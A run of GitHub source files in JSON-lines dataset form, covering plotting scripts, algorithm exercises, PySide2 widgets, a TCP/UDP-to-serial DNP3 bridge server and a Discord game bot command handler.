plt\n\nplt.figure(figsize=(12,7))\n\n# results from serial version of pi calculation\nchol_serial = [0.000929, 1.1194, 8.62048, 180.573, ]\n\n# results from openmp on host version of chol calculation: 8 threads\nchol_omp_8threads = []\n\n# results from openmp on host version of chol calculation: 16 threads\nchol_omp_16threads = []\n\n# results from openmp on host version of chol calculation: 32 threads\nchol_omp_32threads = []\n\n# results from openmp on host version of chol calculation: 48 threads\nchol_omp_48threads = []\n\nloops = ('100', '1000', '2000', '4000', '6000', '8000', '10000')\nx_pos = np.arange(len(chol_serial))\n\nplt.plot(chol_serial, label = 'chol_serial', color='black', marker='*')\n\nplt.plot(chol_omp_8threads, label = 'chol_omp_8threads')\nplt.plot(chol_omp_16threads, label = 'chol_omp_16threads', linestyle='--', marker='o')\nplt.plot(chol_omp_32threads, label = 'chol_omp_32threads', linestyle=':', marker='s')\nplt.plot(chol_omp_48threads, label = 'chol_omp_48threads')\n\nplt.xlabel('Matrix sizes (N)')\nplt.xticks(x_pos, loops)\nplt.ylabel('Execution time (s)')\nplt.title('chol Calculation in Parallel Computing')\nplt.grid(True)\nplt.legend()\n\nplt.show()","repo_name":"tranhoi199/parallel-processing-lab","sub_path":"lab1/exercise/ex4_cholesky(bonus)/chol_speedup.py","file_name":"chol_speedup.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"15614296682","text":"from itertools import permutations\n\n\ndef is_prime(n): # 소수 가려내기\n\n if n == 2 or n == 3:\n return True\n if n < 2 or n % 2 == 0:\n return False\n if n < 9:\n return True\n if n % 3 == 0:\n return False\n r = int(n ** 0.5)\n f = 5\n while f <= r:\n if n % f == 0:\n return False\n if n % (f + 2) == 0:\n return False\n f += 6\n return True\n\n\ndef solution(numbers):\n cases = set()\n numbers = list(numbers)\n count = 0\n\n for i in range(1, len(numbers) + 1): # 1 ~ 전체 길이만큼 경우의 수 만들기\n for x in list(permutations(numbers, i)):\n cases.add(int(\"\".join(str(e) for e in x)))\n\n for n in cases:\n if is_prime(n):\n count += 1\n return count\n","repo_name":"Kkwon-SB/Algorithm","sub_path":"Programmers-coding/Exhaustive Search/소수찾기.py","file_name":"소수찾기.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18625108769","text":"import torch\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.stats.kde import gaussian_kde\nfrom test_energy_function import TargetDistribution\n\n\ndef plot_density(density, xlim=4, ylim=4, ax=None, cmap=\"Blues\"):\n x = y = np.linspace(-xlim, xlim, 300)\n X, Y = np.meshgrid(x, y)\n shape = X.shape\n X_flatten, Y_flatten = np.reshape(X, (-1, 1)), np.reshape(Y, (-1, 1))\n Z = torch.from_numpy(np.concatenate([X_flatten, Y_flatten], 1))\n U = torch.exp(-density(Z))\n U = U.reshape(shape)\n if ax is None:\n fig = plt.figure(figsize=(7, 7))\n ax = fig.add_subplot(111)\n\n ax.set_xlim(-xlim, xlim)\n ax.set_ylim(-xlim, xlim)\n ax.set_aspect(1)\n\n ax.pcolormesh(X, Y, U, cmap=cmap, rasterized=True)\n ax.tick_params(\n axis=\"both\",\n left=False,\n top=False,\n right=False,\n bottom=False,\n labelleft=False,\n labeltop=False,\n labelright=False,\n labelbottom=False,\n )\n return ax\n\n\ndef plot_transformation(model, n=500, xlim=4, ylim=4, ax=None, cmap=\"Blues\"):\n base_distr = torch.distributions.MultivariateNormal(torch.zeros(2), torch.eye(2))\n x = torch.linspace(-xlim, xlim, n)\n xx, yy = torch.meshgrid(x, x)\n zz = torch.stack((xx.flatten(), yy.flatten()), dim=-1).squeeze()\n\n zk, sum_log_jacobians = model(zz)\n\n base_log_prob = base_distr.log_prob(zz)\n final_log_prob = base_log_prob - sum_log_jacobians\n qk = torch.exp(final_log_prob)\n if ax is None:\n fig = plt.figure(figsize=[7, 7])\n ax = fig.add_subplot(111)\n ax.set_xlim(-xlim, xlim)\n ax.set_ylim(-ylim, ylim)\n ax.set_aspect(1)\n ax.pcolormesh(\n zk[:, 0].detach().data.reshape(n, n),\n zk[:, 1].detach().data.reshape(n, n),\n qk.detach().data.reshape(n, n),\n cmap=cmap,\n rasterized=True,\n )\n\n plt.tick_params(\n axis=\"both\",\n left=False,\n top=False,\n right=False,\n bottom=False,\n labelleft=False,\n labeltop=False,\n labelright=False,\n labelbottom=False,\n )\n if cmap == \"Blues\":\n ax.set_facecolor(plt.cm.Blues(0.0))\n elif cmap == \"Reds\":\n ax.set_facecolor(plt.cm.Reds(0.0))\n\n return ax\n\n\ndef plot_comparison(model, target_distr, flow_length, dpi=400):\n xlim = ylim = 7 if target_distr == \"ring\" else 5\n fig, axes = plt.subplots(\n ncols=2, nrows=1, sharex=True, sharey=True, figsize=[10, 5], dpi=dpi\n )\n axes[0].tick_params(\n axis=\"both\",\n left=False,\n top=False,\n right=False,\n bottom=False,\n labelleft=False,\n labeltop=False,\n labelright=False,\n labelbottom=False,\n )\n # Plot true density.\n density = TargetDistribution(target_distr)\n plot_density(density, xlim=xlim, ylim=ylim, ax=axes[0])\n axes[0].text(\n 0,\n ylim - 1,\n \"True density $\\exp(-{})$\".format(target_distr),\n size=14,\n horizontalalignment=\"center\",\n )\n\n # Plot estimated density.\n batch = torch.zeros(500, 2).normal_(mean=0, std=1)\n z = model(batch)[0].detach().numpy()\n axes[1] = plot_transformation(model, xlim=xlim, ylim=ylim, ax=axes[1], cmap=\"Reds\")\n axes[1].text(\n 0,\n ylim - 1,\n \"Estimated density $\\exp(-{})$\".format(target_distr),\n size=14,\n horizontalalignment=\"center\",\n )\n fig.savefig(\n \"results/\" + target_distr + \"_K\" + str(flow_length) + \"_comparison.pdf\",\n bbox_inches=\"tight\",\n pad_inches=0.1,\n )\n","repo_name":"kyanome/normalizing-flows","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11774488463","text":"# Example of a class\n\nclass fruit:\n def __init__(self, name, color, shape, texture, insideC, insideT):\n self.name = name\n self.color = color\n self.shape = shape\n self.texture = texture\n self.insideColor = insideC\n self.insideTexture = insideT\n def aboutMe(self):\n print(f'I am a {self.name}, I am shaped like a {self.shape}, and I am {self.color}! if you touch me, i feel {self.texture}')\n def peel(self):\n self.color = self.insideColor\n self.texture = self.insideTexture\n\nmyBanana = fruit('banana', 'yellow', 'crescent', 'smooth', 'white', 'sticky')\nmyApple = fruit('apple', 'red', 'sphere', 'smooth', 'white', 'porous')\nmyOrange = fruit('orange', 'orange', 'sphere', 'rough', 'yellow', 'porous')\n\nmyBanana.aboutMe()\nmyBanana.peel()\nmyBanana.aboutMe()\n\nprint(f'My apple is {myApple.color} on the outside and {myApple.insideColor} on the inside')\nprint(f'My orange feels {myOrange.texture}, and my apple feels {myApple.texture}.')\n\nmyOrange.color = 'blue'\nprint(f'I painted my orange, and the color is now blue')","repo_name":"bolade04/Python-Files","sub_path":"classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13121683406","text":"import pdb\n\nimport numpy\n\nimport copy\n\n#import matplotlib.pyplot as plt\n\nclass StateRecord(object):\n \"\"\"Holds a record of a state\n \"\"\"\n def __init__(self, state_dim=None, input_dim=None):\n \"\"\"Constructor\n\n Arguments\n state_dim: tuple, the dimensions of the state record to hold. If\n left unspecified then the record will be stored as an expanding\n list. If this dimension is overrun then the remainder will be\n stored as an expanding list. The first entry is the number of\n entries.\n input_dim: tuple, the dimensions of the input record to hold. If\n left unspecified then the record will be stored as an expanding\n list. If this dimension is overrun then the remainder will be\n stored as an expanding list. The first entry is the number of\n entries. The number of entries in state and input must match\n\n Returns:\n class instance\n \"\"\"\n if isinstance(state_dim, tuple) and isinstance(input_dim, tuple):\n assert state_dim[0] == input_dim[0],\\\n 'state and input entry sizes inconsistent'\n self._state_dim = state_dim\n self._input_dim = input_dim\n self._state_record = numpy.zeros(state_dim)\n self._input_record = numpy.zeros(input_dim)\n self._time = numpy.zeros((state_dim[0],))\n self._idx = 1\n else:\n self._state_dim = None\n self._input_dim = None\n self._time = []\n self._state_record = []\n self._input_record = []\n\n self._time_padding = []\n self._state_padding = []\n self._input_padding = []\n\n def reset(self, t0, X0):\n \"\"\"reset the record\n\n Arguments:\n t0: initial state\n X0: initial state\n\n Returns:\n no returns\n \"\"\"\n self._time_padding = []\n self._state_padding = []\n self._input_padding = []\n\n if self._state_dim is None:\n self._time = [t0,]\n self._state_record = [X0,]\n self._input_record = []\n\n self._state_record = numpy.zeros(self._state_dim)\n self._input_record = numpy.zeros(self._input_dim)\n self._time = numpy.zeros((self._state_dim[0],))\n\n self._state_record[0] = X0\n self._time[0] = t0\n\n self._idx = 1\n\n def update_state(self, t, X, U):\n \"\"\"Update the state\n\n Arguments:\n t: the time stamp\n X: the new state\n U the new input\n\n Returns:\n no returns\n \"\"\"\n if self._state_dim is None:\n self._time.append(t)\n self._state_record.append(copy.deepcopy(X))\n self._input_record.append(U)\n self._idx += 1\n return\n\n if self._idx >= self._state_dim[0]:\n self._time_padding.append(t)\n self._state_padding.append(copy.deepcopy(X))\n self._input_padding.append(U)\n self._idx += 1\n return\n\n self._time[self._idx] = t\n self._state_record[self._idx] = X\n self._input_record[self._idx - 1] = U\n self._idx += 1\n\n def plot(self, state_idx=[], input_idx=[], plot_slice=None, axes=None):\n \"\"\"Plot a record\n\n Arguments:\n state_idx: tuple of the indices of the state records to plot\n input_idx: tuple of the indices of the input records to plot\n plot_slice: indices of the time record to plot\n axes: axes to plot into.\n\n Returns:\n no returns\n \"\"\"\n #if axes is None:\n # # haxx0r stuff to let me use the same code. this graps the handle\n # # to the matplotlib library...\n # axes = plt\n\n if plot_slice is None:\n plot_slice = range(self._idx)\n\n for idx in state_idx:\n axes.plot(self.t[plot_slice], self.X[plot_slice, idx])\n\n for idx in input_idx:\n axes.plot(self.t[plot_slice], self.U[plot_slice, idx])\n\n @property\n def t(self):\n \"\"\"Getter for a unified time as a numpy array\n \"\"\"\n if self._state_dim is None:\n return numpy.array(self._time)\n elif self._idx <= self._state_dim[0]:\n return self._time[:self._idx]\n return numpy.hstack((self._time, self._time_padding))\n\n @property\n def X(self):\n \"\"\"Getter for unified state history as numpy array\n \"\"\"\n if self._state_dim is None:\n return numpy.array(self._state_record)\n elif self._idx <= self._state_dim[0]:\n return self._state_record[:self._idx]\n return numpy.vstack((self._state_record, self._state_padding))\n\n @property\n def U(self):\n \"\"\"Getter for unified input history as numpy array\n \"\"\"\n if self._input_dim is None:\n return numpy.array(self._input_record)\n elif self._idx <= self._state_dim[0]:\n return self._input_record[:self._idx]\n return numpy.vstack((self._input_record, self._input_padding))\n","repo_name":"aivian/soaring_risk_management","sub_path":"state_record.py","file_name":"state_record.py","file_ext":"py","file_size_in_byte":5169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38113268289","text":"\n# libaries\nimport nltk\nimport pandas as pd\n\n# classes\nfrom data.processed.classes.Process_Text import Process_Text\n\n# print\nfrom services.printing.print_chapter import print_sub_chapter_start, print_sub_chapter_end\n\n# constants\nfrom data.processed.constants import *\n\ndef process_text():\n\n # needed for lemmatization\n nltk.download('wordnet')\n\n print_sub_chapter_start(CHAPTER_1)\n\n # import data\n ASAP_sas = pd.read_csv(ASAP_SAS_STANDARDIZED)\n beetle = pd.read_csv(BEETLE_STANDARDIZED)\n neural_course = pd.read_csv(NN_COURSE_STANDARDIZED)\n sciEntsBank = pd.read_csv(SCI_ENTS_BANK_STANDARDIZED)\n texas = pd.read_csv(TEXAS_STANDARDIZED)\n\n print_sub_chapter_end(CHAPTER_1)\n\n print_sub_chapter_start(CHAPTER_2)\n\n # setup\n ASAP_sas_class = Process_Text(\n df = ASAP_sas,\n name = \"ASAP_sas\"\n )\n \n beetle_class = Process_Text(\n df = beetle,\n name = \"beetle\"\n )\n\n neural_class = Process_Text(\n df = neural_course,\n name = \"neural_course\"\n )\n\n sciEntsBank_class = Process_Text(\n df = sciEntsBank,\n name = \"sciEntsBank\"\n )\n\n texas_class = Process_Text(\n df = texas,\n name = \"texas\"\n )\n\n print_sub_chapter_end(CHAPTER_2)\n print_sub_chapter_start(CHAPTER_3)\n\n # run text processing & saving\n ASAP_sas_class.process_text()\n beetle_class.process_text()\n neural_class.process_text()\n sciEntsBank_class.process_text()\n texas_class.process_text()\n\n print_sub_chapter_end(CHAPTER_3)\n","repo_name":"OlafVrijmoet/Thesis","sub_path":"data/processed/process_text.py","file_name":"process_text.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36733578145","text":"from PySide2.QtWidgets import QWidget, QApplication\nfrom PySide2.QtGui import QPainter, QColor, QBrush, QPen, QPixmap, QFont, QFontMetrics\nfrom PySide2.QtCore import Qt, Signal, QRect, QSize\n\nimport os\n\n\nclass Button(QWidget):\n clicked = Signal()\n\n def __init__(self, text):\n super(Button, self).__init__()\n self.text = text\n\n self.roundness = 10\n\n self.painter = QPainter()\n\n self.font = QFont()\n self.font.setPointSize(14)\n self.font.setBold(True)\n\n metrics = QFontMetrics(self.font)\n self.setMinimumSize(metrics.width(text) + 40, 50)\n\n self.pen = QPen(QColor(\"#01d277\"))\n self.pen.setWidth(5)\n\n self.hover_brush = QBrush(QColor(1, 210, 119, 100))\n\n self.hover = False\n\n def enterEvent(self, event):\n QApplication.setOverrideCursor(Qt.PointingHandCursor)\n self.hover = True\n self.repaint()\n super(Button, self).enterEvent(event)\n\n def leaveEvent(self, event):\n QApplication.restoreOverrideCursor()\n self.hover = False\n self.repaint()\n super(Button, self).leaveEvent(event)\n\n def mousePressEvent(self, event):\n self.clicked.emit()\n super(Button, self).mousePressEvent(event)\n\n def paintEvent(self, event):\n self.painter.begin(self)\n self.draw()\n self.painter.end()\n\n def draw(self):\n rect = self.rect()\n self.painter.setRenderHint(self.painter.Antialiasing)\n\n self.painter.setPen(self.pen)\n border_rect = QRect(rect.x() + 5, rect.y() + 5, rect.width()-10, rect.height() -10 )\n self.painter.drawRoundedRect(border_rect, self.roundness, self.roundness)\n\n self.painter.setFont(self.font)\n self.painter.drawText(border_rect, Qt.AlignVCenter|Qt.AlignHCenter, self.text)\n\n if self.hover:\n self.painter.setBrush(self.hover_brush)\n self.painter.setPen(Qt.NoPen)\n self.painter.drawRoundedRect(border_rect, self.roundness, self.roundness)\n\n\nclass IconButton(QWidget):\n clicked = Signal(bool)\n\n def __init__(self, image_path, size=40, checkbox=False):\n super(IconButton, self).__init__()\n self.setMinimumSize(size, size)\n self.setMaximumSize(size, size)\n\n self.hover = False\n self.checkbox = checkbox\n self.checked = False\n\n pixmap_image = \"\"\n if os.path.exists(image_path):\n pixmap_image = image_path\n\n pixmap = QPixmap(pixmap_image)\n self.pixmap = pixmap.scaled(QSize(size, size), Qt.KeepAspectRatio, Qt.SmoothTransformation)\n\n self.checked_brush = QBrush(QColor(\"red\"))\n self.painter = QPainter()\n\n def enterEvent(self, event):\n QApplication.setOverrideCursor(Qt.PointingHandCursor)\n self.hover = True\n self.repaint()\n super(IconButton, self).enterEvent(event)\n\n def leaveEvent(self, event):\n QApplication.restoreOverrideCursor()\n self.hover = False\n self.repaint()\n super(IconButton, self).leaveEvent(event)\n\n def mousePressEvent(self, event):\n if self.checkbox:\n self.checked = not self.checked\n\n self.clicked.emit(self.checked)\n self.repaint()\n super(IconButton, self).mousePressEvent(event)\n\n def paintEvent(self, event):\n self.painter.begin(self)\n self.draw()\n self.painter.end()\n\n def draw(self):\n rect = self.rect()\n\n self.painter.setOpacity(0.5)\n\n if self.hover:\n self.painter.setOpacity(1)\n\n if self.checkbox and self.checked:\n self.painter.setOpacity(1)\n self.painter.setBrush(self.checked_brush)\n self.painter.setPen(Qt.NoPen)\n self.painter.drawRect(rect)\n\n self.painter.drawPixmap(rect, self.pixmap)\n\n\nclass BackdropImageWidget(QWidget):\n def __init__(self):\n super(BackdropImageWidget, self).__init__()\n self.backdrop_image = \"\"\n self.painter = QPainter()\n\n self.pixmap = QPixmap(self.backdrop_image)\n self.fill_brush = QBrush(QColor(0, 0, 0, 210))\n\n def set_backdrop_image(self, image_path):\n self.backdrop_image = image_path\n self.pixmap.load(image_path)\n\n def paintEvent(self, event):\n self.painter.begin(self)\n self.draw()\n self.painter.end()\n\n def draw(self):\n rect = self.rect()\n\n scaled_image = self.pixmap.scaledToWidth(rect.width(), Qt.SmoothTransformation)\n\n if scaled_image.height() < rect.height():\n scaled_image = self.pixmap.scaledToHeight(rect.height(), Qt.SmoothTransformation)\n\n image_rect = QRect(rect.x(), rect.y(), scaled_image.width(), scaled_image.height())\n image_rect.moveCenter(rect.center())\n self.painter.drawPixmap(image_rect, scaled_image)\n\n self.painter.setBrush(self.fill_brush)\n self.painter.setPen(Qt.NoPen)\n self.painter.drawRect(rect)\n\n\nif __name__ == '__main__':\n import sys\n\n app = QApplication(sys.argv)\n win = BackdropImageWidget()\n win.set_backdrop_image(r\"C:\\Users\\Robert\\Movie_Library\\1573910895_backdrop.jpg\")\n win.show()\n app.exec_()","repo_name":"robertvari/Movie_Library","sub_path":"modules/customWidgets.py","file_name":"customWidgets.py","file_ext":"py","file_size_in_byte":5171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8799611991","text":"from logger import LOG\nimport socket\nimport threading\nimport serial_client\nimport settings\n\ndef service_tcp():\n\timport sys\n\timport os\n\timport signal\n\ttry:\n\t\tLOG.info('Starting tcp server: ' + str(settings.LOCAL_HOST))\n\t\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\tserver_address = (settings.LOCAL_HOST['ip'], settings.LOCAL_HOST['port'])\n\t\ts.bind(server_address)\n\t\t#s.settimeout(3)\n\t\ts.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)\n\t\ts.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 60)#activates after after_idle_sec seconds of idleness\n\t\ts.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 3)#sends a keepalive ping once every interval_sec seconds\n\t\ts.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 3)#closes the connection after max_fails failed pings\n\t\ts.listen(1)\n\n\t\t#file_id = 0\n\t\twhile run:\n\t\t\ttry:\n\t\t\t\tconnection, client_address = s.accept()\n\t\t\t\tLOG.info('TCP connection accepted from: ' + str(client_address))\n\t\t\t\tconnection.settimeout(3)\n\t\t\t\twhile True:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tdata_in = connection.recv(serial_client.PacketOversize)\n\t\t\t\t\texcept socket.timeout:\n\t\t\t\t\t\tpass\t\t\t\t\n\t\t\t\t\t#with open('/home/develop/edge_device/test_files/' + str(file_id), 'w') as file:\n\t\t\t\t\t#\tfile.write(data_in)\t\n\t\t\t\t\t#\tfile_id = file_id + 1\n\t\t\t\t\tif len(data_in) == serial_client.PacketOversize:\n\t\t\t\t\t\traise Exception('TCP: not all read from network port.')\t\t\t\t\t\n\t\t\t\t\tif not data_in:\n\t\t\t\t\t\tbreak\t\n\t\t\t\t\tdata_out = serial_client.RequestDNP3(data_in, 'TCP request.')\n\t\t\t\t\tif not data_out:\n\t\t\t\t\t\tbreak\n\t\t\t\t\tconnection.sendall(data_out)\t\n\t\t\texcept:\n\t\t\t\tLOG.exception(sys.exc_info()[0])\t\n\t\t\tfinally:\n\t\t\t\tconnection.close()\n\t\t\t\tLOG.info('Connection closed')\n\texcept:\n\t\tLOG.exception(sys.exc_info()[0])\n\t\t#thread.interrupt_main() \n\t\tos.kill(os.getpid(), signal.SIGINT)\n\t\ndef service_udp():\n\timport sys\n\timport os\n\timport signal\n\ttry:\n\t\tLOG.info('Starting udp server: ' + str(settings.LOCAL_HOST))\n\t\ts = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\t\tserver_address = (settings.LOCAL_HOST['ip'], settings.LOCAL_HOST['port'])\n\t\ts.bind(server_address)\n\n\t\twhile run:\n\t\t\ttry:\n\t\t\t\tdata_in, client_address = s.recvfrom(serial_client.PacketOversize)\n\t\t\t\tif len(data_in) == serial_client.PacketOversize:\n\t\t\t\t\traise Exception('UDP: not all read from network port.')\t\n\t\t\t\tif not data_in:\n\t\t\t\t\tcontinue\t\n\t\t\t\tdata_out = serial_client.RequestDNP3(data_in, 'UDP request.')\n\t\t\t\tif not data_out:\n\t\t\t\t\tcontinue\n\t\t\t\ts.sendto(data_out, client_address)\n\t\t\texcept:\n\t\t\t\tLOG.exception(sys.exc_info()[0])\n\texcept:\n\t\tLOG.exception(sys.exc_info()[0])\n\t\t#thread.interrupt_main() \n\t\tos.kill(os.getpid(), signal.SIGINT)\n\t\nsocket_tcp = None\nsocket_udp = None\n\t\nservice_tcp_t = None\nservice_udp_t = None\n\ndef Stop():\n\tLOG.info('Stopping network server.')\n\tglobal run\n\trun = False\n\tglobal socket_tcp\n\tif socket_tcp:\n\t\t#socket_tcp.shutdown(socket.SHUT_RDWR)\n\t\tsocket_tcp.close()\t\n\t\tsocket_tcp = None\n\tglobal socket_udp\n\tif socket_udp:\n\t\t#socket_udp.shutdown(socket.SHUT_RDWR)\n\t\tsocket_udp.close()\t\n\t\tsocket_udp = None\n\t\t\ndef Start():\n\tglobal run\n\trun = True\n\tglobal service_tcp_t\n\tif service_tcp_t == None:\n\t\tservice_tcp_t = threading.Thread(target = service_tcp, args = ())\n\t\tservice_tcp_t.daemon = True\n\t\tservice_tcp_t.start()\n\tglobal service_udp_t\n\tif service_udp_t == None:\n\t\tservice_udp_t = threading.Thread(target = service_udp, args = ())\n\t\tservice_udp_t.daemon = True\n\t\tservice_udp_t.start()\t\n","repo_name":"SergiyStoyan/NetworkSerialPortBridge","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3375,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"38876077065","text":"import heapq\ndef solution(book_time):\n answer = 0\n def convert(s):\n hr,mins = map(int, s.split(':'))\n return hr*60+mins\n \n times = []\n for i in book_time:\n s,e = i\n times.append([convert(s), convert(e)])\n \n times.sort(key = lambda x:(x[0],x[1]))\n \n q = []\n #가장 빨리끝나는 애 골르기 \n for i in times:\n print(i)\n s,e = i\n if not len(q):\n heapq.heappush(q,e)\n answer +=1 \n else:\n earliest = heapq.heappop(q)\n if s < earliest + 10:\n answer += 1 \n heapq.heappush(q,e)\n heapq.heappush(q,earliest)\n else:\n heapq.heappush(q,e)\n \n \n return answer","repo_name":"k-bobin/Algorithms","sub_path":"프로그래머스/2/155651. 호텔 대실/호텔 대실.py","file_name":"호텔 대실.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16803620998","text":"\"\"\"the command handler takes user input validates it cand calls the correct bot method.\"\"\"\nimport Building\nimport Unit\n\n\nclass CommandHandler(object):\n\n async def handle_message(self, message, bot):\n \"\"\"handles the message\"\"\"\n if message.content.startswith(bot.command_prefix): # check if this message is meant for this bot\n author = message.author\n channel = message.channel\n # extract the commands (separated by whitespace)\n com_list = message.content[len(bot.command_prefix):].split()\n if com_list:\n command = com_list[0]\n else:\n return # just a question mark\n\n param = com_list[1:]\n\n mentions = message.mentions\n\n # a list of all commands and the functions they invoke\n commands = {\n \"menu\": self.build(bot.start_menu, (author, channel)),\n \"town\": self.build(bot.print_town, (author, channel)),\n \"leave\": self.build(bot.leave, (author, channel)),\n \"resources\": self.build(bot.print_resources, (author, channel)),\n \"buildable\": self.build(bot.print_buildable, (author, channel)),\n \"upgradable\": self.build(bot.print_upgrades, (author, channel)),\n \"threads\": self.build(bot.print_threads, (author, channel)),\n \"print_units\": self.build(bot.print_units, (author, channel)),\n \"requirements\": self.print_requirements(author, param, bot, channel),\n \"building_threads\": self.print_building_threads(author, param, bot, channel),\n \"building_prepared\": self.print_building_prepared(author, param, bot, channel),\n \"start_building_prepared\": self.start_building_prepared(author, param, bot, channel),\n \"build\": self.build_building(author, param, bot, channel),\n \"upgrade\": self.upgrade_building(author, param, bot, channel),\n \"prep_units\": self.prep_units(author, param, bot, channel),\n \"rally_troops\": self.rally_troops(author, param, bot, channel),\n }\n\n admin_commands = {\n \"give_resources\": self.give_resources(param, bot, channel, mentions),\n }\n\n # special cases:\n if command == \"join\":\n await bot.join(author, channel)\n elif command == \"help\":\n await bot.print_help(channel)\n elif command in commands: # general case\n # check if user is new else print: ?join\n if author.id not in bot.players.keys():\n # user is new\n await bot.send_message(channel, \"to join the game type: \\\"%sjoin\\\"\" % bot.command_prefix)\n return\n await commands[command]() # call the event\n elif command in admin_commands:\n if message.author.server_permissions.administrator:\n await admin_commands[command]()\n else:\n await bot.send_message(channel, \"%s incorrect permissions\" % bot.get_mention(author))\n\n @staticmethod\n def give_resources(param, bot, channel, mentions):\n \"\"\"command: give_resources <@mention>\"\"\"\n async def f():\n if not mentions:\n return\n if not param:\n amount = 1\n else:\n amount = int(param[0])\n resource = None\n if len(param) > 1:\n resource = param[1]\n player = bot.get_player(mentions[0])\n if resource:\n if resource in player.resources:\n player.resources[resource] += amount\n await bot.client.send_message(channel, \"added resources\")\n else:\n for key in player.resources.keys():\n player.resources[key] += amount\n await bot.client.send_message(channel, \"added resources\")\n return f\n\n @staticmethod\n def build(f, args, check=None):\n \"\"\"returns a function that can be called without arguments that will then use the args provided here\"\"\"\n return lambda: f(*args)\n\n # all functions that need special checks for parameters first\n\n @staticmethod\n def print_requirements(author, param, bot, channel):\n async def f():\n if not param:\n await bot.send_message(channel, \"wrong parameters\")\n return\n\n building_str = param[0].lower()\n if not building_str in Building.buildings_table.keys():\n await bot.send_message(channel, \"no such building\")\n return\n building = Building.buildings_table[building_str]\n\n player = bot.get_player(author)\n\n player_b = player.get_building(building)\n await bot.print_requirements(channel, player_b)\n return f\n\n @staticmethod\n def print_building_threads(author, param, bot, channel):\n \"\"\"prints the threads of a specific building if the parameters are correct\"\"\"\n async def f():\n player_b = await CommandHandler.check_valid_military_building_param(author, param, channel, bot)\n if not player_b:\n return\n await bot.print_building_threads(channel, player_b)\n return f\n\n @staticmethod\n def print_building_prepared(author, param, bot, channel):\n async def f():\n player_b = await CommandHandler.check_valid_military_building_param(author, param, channel, bot)\n if not player_b:\n return\n await bot.print_building_prepared(channel, player_b)\n return f\n\n @staticmethod\n def start_building_prepared(author, param, bot, channel):\n async def f():\n player_b = await CommandHandler.check_valid_military_building_param(author, param, channel, bot)\n if not player_b:\n return\n await bot.print_building_prepared(author, channel, player_b)\n return f\n\n @staticmethod\n def build_building(author, param, bot, channel):\n \"\"\"start building a building\"\"\"\n async def f():\n if not param:\n await bot.send_message(channel, \"%s wrong parameters for ?build\" % bot.get_mention(author))\n return\n if not param[0].lower() in Building.buildings_table:\n await bot.send_message(channel, \"%s no such building.\" % bot.get_mention(author))\n return\n\n building = Building.buildings_table[param[0].lower()]\n await bot.build(author, channel, building)\n return f\n\n @staticmethod\n def upgrade_building(author, param, bot, channel):\n \"\"\"start building a building\"\"\"\n async def f():\n if not param:\n await bot.send_message(channel, \"%s wrong parameters for ?build\" % bot.get_mention(author))\n\n if not param[0].lower() in Building.buildings_table:\n await bot.send_message(channel, \"%s no such building.\" % bot.get_mention(author))\n return\n\n building = Building.buildings_table[param[0].lower()]\n player_b = bot.get_player(author).get_building(building)\n if not player_b:\n await bot.send_message(channel, \"you don't have this building yet\")\n return\n await bot.upgrade(author, channel, building)\n return f\n\n @staticmethod\n def prep_units(author, param, bot, channel):\n \"\"\"prepare some units to build in a military institution\"\"\"\n # command: \n async def f():\n if len(param) < 2:\n await bot.send_message(channel, \"%s wrong parameters for ?upgrade\" % bot.get_mention(author))\n building_str = param[0]\n unit_str = param[1]\n player = bot.get_player(author)\n building = player.get_building(Building.buildings_table[building_str])\n if not building:\n await bot.send_message(channel, \"you don't have the building required\")\n return\n if not issubclass(building.__class__, Building.Military):\n await bot.send_message(channel, \"this is not a military building\")\n return\n if unit_str not in Unit.units_table:\n await bot.send_message(channel, \"no such unit\")\n return\n unit = Unit.units_table[unit_str]\n\n # try to get the amount from the parameters\n amount = None\n if len(param) > 2 and param[2].isdigit():\n amount = int(param[2])\n\n # parameters are correct\n print(\"FUNCTION NOT DONE. DOES NOT CHECK LEVEL\")\n # bot.prep_units(author, channel, building, unit, amount)\n\n @staticmethod\n def rally_troops(author, param, bot, channel):\n pass\n\n # utility ====================================================\n\n @staticmethod\n async def check_valid_military_building_param(author, param, channel, bot):\n \"\"\"checks if the parameters are generally acceptable for a command of type: ? \"\"\"\n if author.id not in bot.players:\n return\n player = bot.get_player(author)\n if not param[0]:\n await bot.send_message(channel, \"wrong parameters\")\n return\n if param[0] not in Building.buildings_table:\n await bot.send_message(channel, \"no such building\")\n return\n building = Building.buildings_table[param[0]]\n player_b = player.get_building(building)\n if not player_b:\n await bot.send_message(channel, \"you don't have this building\")\n return\n if not issubclass(player_b.__class__, Building.Military):\n await bot.send_message(channel, \"this is not a military building\")\n return\n return player_b","repo_name":"Mo0dy/DiscordCookieWars","sub_path":"DiscordCookieWars/CommandHandler.py","file_name":"CommandHandler.py","file_ext":"py","file_size_in_byte":10059,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"40314261259","text":"\"\"\" Task 